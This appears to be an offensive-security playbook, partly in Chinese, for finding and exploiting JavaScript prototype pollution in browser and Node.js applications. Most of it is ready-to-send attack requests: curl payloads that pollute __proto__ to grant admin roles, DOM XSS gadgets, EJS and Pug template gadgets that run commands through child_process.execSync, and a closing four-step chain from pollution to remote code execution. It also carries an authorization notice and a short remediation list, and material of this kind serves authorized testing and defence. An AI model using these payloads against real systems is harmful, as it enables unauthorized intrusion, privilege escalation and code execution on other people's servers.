Prototype Pollution

TL;DR

• 目的：Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RC…
• 适用：CVE/N-day 武器化
• 输入：目标组件/版本 + 漏洞 POC 标识
• 输出：可复现 POC + 利用步骤
• 红线：仅限授权范围内；破坏性 POC 先用只读变体；全 RCE 前明确批准
• 关联：上游：003-src-session-start → 下游：043-hunt-nosqli, 027-hunt-cors, 028-hunt-csrf

Exploiting Prototype Pollution in JavaScript

When to Use

• When testing Node.js or JavaScript-heavy web applications
• During assessment of APIs accepting deep-merged JSON objects
• When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
• During code review of object merge/clone/extend operations
• When evaluating npm packages for prototype pollution gadgets

Prerequisites

• Burp Suite with DOM Invader extension for client-side prototype pollution detection
• Node.js development environment for server-side testing
• Understanding of JavaScript prototype chain and object inheritance
• Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
• Prototype Pollution Gadgets Scanner Burp extension for server-side detection
• Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Step 5 — Exploit for Authentication and Authorization Bypass

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

Step 6 — Detect with Automated Tools

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Key Concepts

Tools & Systems

Common Scenarios

1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives

Output Format

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)

Validation Criteria

A successful discovery of this vulnerability class must demonstrate:

• POC reproducible against fresh target instance (timestamp documented)
• Impact scope quantified (data leaked / privilege gained / RCE achieved)
• CVSS or business risk score assigned
• Authorization scope documented (B SRC vs target, A 项目 vs 全量)
• No destructive side effects (if RCE, sandboxed proof preferred)
• Affected endpoint clearly identified with full URL/request

If any of these cannot be demonstrated, treat the finding as inconclusive and run 111-fp-check for cross-verification.

PP → 模板 RCE 四步（MERGE-2026-09）

来源：社区 SRC 实战经验包（2026-08 共享版）整理；本节全部手法行带「假点」（证伪条件），单站失败不得写成手法失效。

1. 先证污染：?__proto__[payload]=<marker> / ?constructor[prototype][payload]=<marker>，用 Object.keys 类回显点或行为差分确认服务端 merge 未过滤 __proto__/constructor.prototype。
2. 定位 gadget：确认服务端模板引擎（EJS/Pug/Handlebars）+ 污染点在模板渲染前生效。
3. 打 gadget：EJS outputFunctionName、Pug block、NODE_OPTIONS + /proc/self/cmdline 回显等已知链；一次只验一条。
4. 算成：RCE 输出含回显命令结果（如 id）。假点：仅客户端 JS 污染不影响服务端模板=假点；污染成功但无可用 gadget=写"服务端 PP"中危，不编 RCE。